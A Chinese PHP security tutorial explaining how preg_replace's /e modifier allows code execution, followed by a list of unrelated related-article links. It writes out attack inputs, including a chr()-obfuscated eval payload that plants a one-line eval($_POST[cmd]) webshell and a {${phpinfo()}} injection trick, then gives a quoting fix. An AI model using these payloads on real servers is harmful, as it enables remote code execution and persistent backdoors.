慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
php中使用Akismet防止垃圾评论的代码
Jun 10 PHP
php json_encode奇怪问题说明
Sep 27 PHP
php数组函数序列之each() - 获取数组当前内部指针所指向元素的键名和键值,并将指针移到下一位
Oct 31 PHP
php smarty截取中文字符乱码问题?gb2312/utf-8
Nov 07 PHP
PHP中防止直接访问或查看或下载config.php文件的方法
Jul 07 PHP
ThinkPHP 连接Oracle数据库的详细教程[全]
Jul 16 PHP
基于session_unset与session_destroy的区别详解
Jun 03 PHP
mcrypt启用 加密以及解密过程详细解析
Aug 07 PHP
phpmailer发送邮件之后,返回收件人是否阅读了邮件的方法
Jul 19 PHP
调试WordPress中定时任务的相关PHP脚本示例
Dec 10 PHP
PHP简单判断手机设备的方法
Aug 23 PHP
AJAX的使用方法详解
Apr 29 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
php中3种方法删除字符串中间的空格
2014/03/10 PHP
CI框架入门示例之数据库取数据完整实现方法
2014/11/05 PHP
解读PHP的Yii框架中请求与响应的处理流程
2016/03/17 PHP
PHP模糊查询的实现方法(推荐)
2016/09/06 PHP
详解PHP中foreach的用法和实例
2016/10/25 PHP
Yii2框架实现数据库常用操作总结
2017/02/08 PHP
javascript模拟枚举的简单实例
2014/03/06 Javascript
js实现鼠标感应图片展示的方法
2015/02/27 Javascript
Jquery使用css方法改变样式实例
2015/05/18 Javascript
javascript实现添加附件功能的方法
2015/11/18 Javascript
原生js实现class的添加和删除简单代码
2016/07/12 Javascript
关于javascript的一些知识以及循环详解
2016/09/12 Javascript
JS常用算法实现代码
2016/11/14 Javascript
web.js.字符串与正则表达式操作
2017/05/13 Javascript
vue之数据交互实例代码
2017/06/20 Javascript
AngularJS 中ui-view传参的实例详解
2017/08/25 Javascript
webpack中使用iconfont字体图标的方法
2018/02/22 Javascript
js统计页面上每个标签的数量实例代码
2018/05/29 Javascript
Express之托管静态文件的方法
2018/06/01 Javascript
详解如何运行vue项目
2019/04/15 Javascript
Vue登录拦截 登录后继续跳转指定页面的操作
2020/08/04 Javascript
python集合比较(交集,并集,差集)方法详解
2018/09/13 Python
对Pandas MultiIndex(多重索引)详解
2018/11/16 Python
Python Django基础二之URL路由系统
2019/07/18 Python
python try except返回异常的信息字符串代码实例
2019/08/15 Python
python爬虫爬取淘宝商品比价(附淘宝反爬虫机制解决小办法)
2020/12/03 Python
英国安全产品购物网站:The Safe Shop
2017/03/20 全球购物
5个HTML5的常用本地存储方式详解与介绍
2021/03/27 HTML / CSS
党员的自我评价范文
2014/01/02 职场文书
幼儿园教学随笔感言
2014/02/23 职场文书
民主生活会整改措施(党员)
2014/09/18 职场文书
小学推普周活动总结
2015/05/07 职场文书
公司员工管理制度
2015/08/04 职场文书
golang中的空接口使用详解
2021/03/30 Python
Nginx代理同域名前后端分离项目的完整步骤
2021/03/31 Servers
Python学习之迭代器详解
2022/04/01 Python